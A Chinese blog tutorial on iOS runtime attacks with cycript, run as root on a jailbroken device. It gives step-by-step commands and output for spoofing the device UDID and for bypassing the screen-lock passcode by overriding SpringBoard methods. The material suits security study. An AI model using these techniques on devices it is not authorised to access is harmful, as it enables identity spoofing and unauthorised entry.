iOS runtime攻击-cycript
iOS runtime攻击,目前流行的有两种方式,一种是动态链接库注入,通过编写定制的dylib文件与设置DYLD_INSERT_LIBRARIES环境变量来修改API方法的实现(可参照Mac hook-DYLD_INSERT_LIBRARIES中的例子);还有一种方法就是利用objective-c runtime的消息机制的特性,特别是objc_msgSend,来操作应用,其中以cycript这种混合了objective-c与javascript语法的工具为翘楚。接下来介绍一下使用cycript操纵iOS应用运行时的例子。
例子1:伪造UDID(UIDevice类说明)
第一步:选择待操作的进程
danimato-iPod:~ root# cycript -p 8442(可以是进程id,也可以是进程名)
第二步:获得当前设备的UDID
cy# [[UIDevice currentDevice] uniqueIdentifier];
@"a94b65f9ac84c9d5bb7f377d5122a622ea1addf6"
第三步:替换uniqueIdentifier实现方法的实现
cy# UIDevice.messages['uniqueIdentifier'] = function(){ return @"tanjiti";}
function () {return Instance.box("tanjiti");}
第四步:检查替换后的UDID获取结果
cy# [[UIDevice currentDevice] uniqueIdentifier];
@"tanjiti"
例子2: 解锁屏幕锁定PIN(SpringBoard/SBAwayController.h说明)
第一步:选择待操作的进程
danimato-iPod:~ root# cycript -p SpringBoard
第二步:检查设备是否开启了密码锁定功能(1表示锁定,0表示解锁)cy# [SBAwayController.sharedAwayController isPasswordProtected]
1
cy# SBAwayController.messages['isPasswordProtected']=function(){return NO;}
function () {return NO;}
cy# [SBAwayController.sharedAwayController isPasswordProtected]
0
第五步:最后调用unlockWithSound方法来访问home屏幕
cy# [SBAwayController.sharedAwayController unlockWithSound:1]
通过以上操作,成功解锁屏幕锁定接下来会写一下runtime attack中的核心组件MobileSubstrate,与非常流行的Theos越狱开发框架。
参考:
https://iphonedevwiki.net/index.php/Cycript
https://iphonedevwiki.net/index.php/Cycript_Tricks
来源:碳基体
评论